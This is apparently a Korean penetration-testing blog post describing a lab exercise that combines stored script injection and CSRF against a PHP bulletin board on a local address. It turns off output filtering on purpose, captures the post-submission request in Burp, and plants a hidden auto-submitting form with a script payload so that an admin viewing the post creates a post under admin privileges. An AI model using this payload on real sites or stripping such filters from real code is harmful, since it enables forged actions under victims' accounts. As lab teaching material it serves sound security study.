Linux/모의해킹

CSRF 를 이용한 게시판 글쓰기 1

GGkeeper 2022. 1. 25. 19:52

CSRF(씨써프)란 ?
사이트 간 요청 위조(또는 크로스 사이트 요청 위조, 영어: Cross-site request forgery, CSRF, XSRF)는 
웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 
의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.


실습> CSRF를 이용한 게시판 글쓰기 1 

공격자가 게시글을 올려서 그 안에 공격코드(글을 본 사용자의 권한으로 자동으로 글 등록)를 넣고 
관리자가 공격자가 쓴 글을 보는 순간 관리자 자신의 권한으로 게시글을 등록한다.

1. 브라우저 2개 실행
세 세션으로 세션을 다르게해서 브라우저를 실행한다.
첫 번째 브라우저 : 관리자(admin/111111)로 로그인한다.
두 번째 브라우저 : 공격자(blackhat/111111)로 로그인한다.

2. 프록시 설정
Burp 로 프록시를 설정한다.

3. 쿠키값 확인
Burp or EditThisCookie 에서 각 브라우저의 쿠키값을 확인한다.
첫 번째 브라우저(관리자) : 0rheh1nbu9jcgfrpjj02bjh4l4
두 번째 브라우저(공격자) : 3ovodk4h07880b72saa165ru34

[root@www ~]# cat /var/lib/php/session/sess_0rheh1nbu9jcgfrpjj02bjh4l4
userid|s:5:"admin";username|s:9:"관리자";

[root@www ~]# cat /var/lib/php/session/sess_3ovodk4h07880b72saa165ru34
userid|s:8:"blackhat";username|s:9:"블랙햇";

4. read.html에서 코드 수정
필터링을 한 코드를 모두 주석으로 처리하고 필터링을 하지 않은 코드의 주석을 해제한다.

   <td colspan=3 height=100 width=400>
    <?
    // 필터링 하지 않은 코드
    echo $row['contents'];
    ?>

    <?
    // 필터링을 한 코드
    // $contents = str_replace("<script>", "", $row['contents']);
    //$contents = str_replace("<", "&lt;", $row['contents']);
    //echo $contents;
    ?>
   </td>

5. writeok.html에서 코드 수정 
필터링을 한 코드를 모두 주석으로 처리한다.
// 필터링 부분
// $contents = str_replace("<", "&lt;", $contents);   

6. 게시판의 글쓰기 분석
게시글을 작성하고 전송한 후 프록시에서 어떤 변수들이 전송되는지 분석한다.


POST /writeok.html HTTP/1.1
Host: 192.168.108.101
Content-Length: 689
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.101
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5A7CxjKLa3AKQW2F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/?id=bbs1&m=write
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=3ovodk4h07880b72saa165ru34
Connection: close

------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="id"

bbs1
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="username"

blackhat
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="title"

csrf test
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="passwd"

1234
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="upfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="contents"

csrf test2
------WebKitFormBoundary5A7CxjKLa3AKQW2F--

위에서 POST 방식으로 /writeok.html로 변수와 값이 넘어가는 것을 확인할 수 있다.

POST /writeok.html

id=bbs1
username=blackhat
title=csrf test
passwd=1234
upfile=
filename=
contents=csrf test2

7. 게시글 작성
공격자가 로그인한 두 번째 브라우저에서 아래 악성글을 저장한다.
관리자가 게시글을 확인하는 순가 자신의 권한으로 글이 자동으로 저장된다.

이름 : blackhat
제목 : 관리자님 안녕하세요.
비밀번호 : 1234
내용 : 
관리자님 안녕하세요.

<form id=csrftest method=POST action=/writeok.html enctype=multipart/form-data>
<input type=hidden name=id value=bbs1>
<input type=hidden name=username value=admin>
<input type=hidden name=title value="csrf test">
<input type=hidden name=passwd value=1234>
<input type=hidden name=upfile value=>
<input type=hidden name=filename value=>
<input type=hidden name=contents value="csrf test2">
</form>
<script>document.getElementById("csrftest").submit();</script>

단점 : 게시글을 보는 순간 document.getElementById("csrftest").submit();
메소드에 의해서 게시글의 목록으로 가는 것이다.